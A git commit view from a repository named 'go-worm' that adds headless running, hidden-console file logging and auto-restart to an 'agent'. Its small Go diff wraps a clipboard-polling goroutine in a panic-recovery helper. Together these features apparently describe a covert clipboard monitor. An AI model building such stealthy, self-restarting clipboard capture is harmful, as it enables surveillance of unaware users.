refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
@@ -12,6 +12,8 @@ import (
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -50,6 +52,7 @@ type bitmapInfoHeader struct {
|
||||
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer helpers.RecoverLog("clipmon-poll")
|
||||
pollClipboard(w, stop)
|
||||
}()
|
||||
return nil
|
||||
|
||||
Reference in New Issue
Block a user